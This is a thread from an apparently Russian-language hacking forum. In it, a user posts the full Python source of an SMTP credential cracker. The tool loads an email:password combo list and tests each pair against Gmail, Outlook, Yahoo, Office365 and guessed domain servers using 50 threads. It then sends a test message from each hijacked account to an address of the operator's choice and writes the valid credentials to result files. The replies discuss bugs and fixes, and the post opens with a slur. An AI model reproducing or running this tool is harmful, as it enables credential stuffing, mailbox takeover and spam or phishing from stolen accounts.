• XSS.stack #1 – первый литературный журнал от юзеров форума

Мануал/Книга SMTPcv1.2b.py Cracker Mail:Pass

What’s that nigga,

Amigamer404

HDD-drive
Пользователь
Регистрация
17.12.2024
Сообщения
31
Реакции
-3
smtpcv1.2b.py👨‍💻is an SMTP cracker tool, which is designed to check the validity of email credentials (email and password combinations) against various SMTP servers.

import os
import smtplib
import concurrent.futures
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import sys
import time
from tkinter import Tk
from tkinter.filedialog import askopenfilename
from colorama import Fore, Style, init
from itertools import cycle
import threading
from datetime import datetime

# Inisialisasi Colorama
init(autoreset=True)

# Banner untuk program
BANNER = f"""
============================
PydroidCH
SMTP Cracker Tool
============================
"""

# Daftar server SMTP yang umum digunakan
SMTP_SERVERS = {
"gmail": {"server": "smtp.gmail.com", "port": 587, "filename": "Good_Smtp_Google-PydroidCH.txt"},
"outlook": {"server": "smtp-mail.outlook.com", "port": 587, "filename": "Good_Smtp_Outlook-PydroidCH.txt"},
"yahoo": {"server": "smtp.mail.yahoo.com", "port": 587, "filename": "Good_Smtp_Yahoo-PydroidCH.txt"},
"office365": {"server": "smtp.office365.com", "port": 587, "filename": "Good_Smtp_Office365-PydroidCH.txt"},
# Tambahkan server lainnya sesuai kebutuhan
}

# Variabel global untuk statistik dan progres
VALIDS = 0
INVALIDS = 0
TOTAL_LINES = 0
PROCESSED_LINES = 0
LOCK = threading.Lock()

# Spinner untuk progres
def spinner(task_complete_flag: threading.Event):
spinner_cycle = cycle(["|", "/", "-", "\\"])
while not task_complete_flag.is_set():
with LOCK:
current_processed = PROCESSED_LINES
print(f"\rProcessing {next(spinner_cycle)} - Checked: {current_processed}/{TOTAL_LINES}", end="", flush=True)
time.sleep(0.1)
print(f"\rProcessing Complete - Checked: {PROCESSED_LINES}/{TOTAL_LINES} ")

# Cek koneksi SMTP
def check_smtp_connection(email: str, password: str, smtp_server: str, port: int) -> bool:
try:
with smtplib.SMTP(smtp_server, port) as server:
server.starttls()
server.login(email, password)
return True
except Exception:
return False

# Simpan hasil
def save_result(folder_path: str, filename: str, email: str, password: str, smtp_server: str, port: int):
filepath = os.path.join(folder_path, filename)
with open(filepath, "a", encoding="utf-8") as f:
f.write(f"{smtp_server}|{port}|{email}|{password}\n")

# Cek kredensial email
def check_single_email(email_pass: str, tester_email: str, folder_path: str):
global VALIDS, INVALIDS, PROCESSED_LINES
email, password = email_pass.split(":")
domain = email.split("@")[-1]
smtp_server = f"smtp.{domain}"

# Periksa pada daftar server SMTP tertentu
for server_name, server_info in SMTP_SERVERS.items():
if check_smtp_connection(email, password, server_info["server"], server_info["port"]):
if send_test_email(email, password, server_info["server"], tester_email):
save_result(folder_path, server_info["filename"], email, password, server_info["server"], server_info["port"])
print(Fore.GREEN + f"[SUCCESS] {email}:{password} -> {server_info['server']}")
else:
save_result(folder_path, "Smtp-Valid-sentlimit.txt", email, password, server_info["server"], server_info["port"])
print(Fore.YELLOW + f"[LIMITED] {email}:{password} -> {server_info['server']}")
with LOCK:
VALIDS += 1
PROCESSED_LINES += 1
return

# Periksa server dinamis
if check_smtp_connection(email, password, smtp_server, 587):
if send_test_email(email, password, smtp_server, tester_email):
save_result(folder_path, "Good_SMTP_MIX_PydroidCH.txt", email, password, smtp_server, 587)
print(Fore.GREEN + f"[SUCCESS] {email}:{password} -> {smtp_server}")
else:
save_result(folder_path, "Smtp-Valid-sendlimit.txt", email, password, smtp_server, 587)
print(Fore.YELLOW + f"[LIMITED] {email}:{password} -> {smtp_server}")
with LOCK:
VALIDS += 1
else:
print(Fore.RED + f"[ERROR] {email}:{password} -> {smtp_server}")
with LOCK:
INVALIDS += 1

with LOCK:
PROCESSED_LINES += 1

# Kirim email uji
def send_test_email(email: str, password: str, smtp_server: str, tester_email: str) -> bool:
time.sleep(3) # Jeda 3 detik sebelum pengiriman email
try:
with smtplib.SMTP(smtp_server, 587) as server:
server.starttls()
server.login(email, password)
msg = MIMEMultipart()
msg["Subject"] = "SMTP Checker Test"
msg["From"] = email
msg["To"] = tester_email
body = f"Tested from {email}\nPydroidCH SMTP Cracker EMAIL:PASS"
msg.attach(MIMEText(body, "plain"))
server.sendmail(email, tester_email, msg.as_string())
return True
except Exception:
return False

if name == "main":
# Menampilkan banner
for letter in BANNER:
sys.stdout.write(letter)
time.sleep(0.01)

# Input email tester
tester_email = input(Fore.CYAN + "Enter tester email to receive test messages: " + Style.RESET_ALL).strip()
if not tester_email:
print(Fore.RED + "The tester email cannot be empty." + Style.RESET_ALL)
sys.exit(1)

# Pilih file daftar email:password
Tk().withdraw()
print(Fore.CYAN + "Select the list file email:password..." + Style.RESET_ALL)
file_path = askopenfilename(title="Select files by list email:password", filetypes=[("Text files", "*.txt")])
if not file_path:
print(Fore.RED + "No files selected. Program terminated.." + Style.RESET_ALL)
sys.exit(1)

# Membaca daftar email
try:
with open(file_path, "r", encoding="latin-1") as f: # Menggunakan encoding latin-1
email_pass_list = [line.strip() for line in f if ":" in line]
TOTAL_LINES = len(email_pass_list)
except FileNotFoundError:
print(Fore.RED + "File not found. Please check again.!" + Style.RESET_ALL)
sys.exit(1)
except UnicodeDecodeError as e:
print(Fore.RED + f"Error reading file: {e}. Make sure the file uses the correct encoding.." + Style.RESET_ALL)
sys.exit(1)


# Membuat folder hasil
timestamp = datetime.now().strftime("%Y-%m-%d-%H.%M")
folder_path = f"Result_smtp-{timestamp}"
os.makedirs(folder_path, exist_ok=True)

# Spinner untuk progres
task_complete_flag = threading.Event()
spinner_thread = threading.Thread(target=spinner, args=(task_complete_flag,))
spinner_thread.start()

# Memulai pengecekan kredensial
try:
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
executor.map(lambda email_pass: check_single_email(email_pass, tester_email, folder_path), email_pass_list)
except Exception as e:
print(e)
finally:
task_complete_flag.set()
spinner_thread.join()

print(Fore.GREEN + f"\nFinished! VALIDS: {VALIDS}, INVALIDS: {INVALIDS}" + Style.RESET_ALL)
 
Спешу тебя огорчить, твой брут не все хавает
так это хорошая новость, что ты баг нешел... что не хавает, выкладывай, буду фиксить
 
так это хорошая новость, что ты баг нешел... что не хавает, выкладывай, буду фиксить
Не думаю что это баг, но раз люди молчат, значит не так важно
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх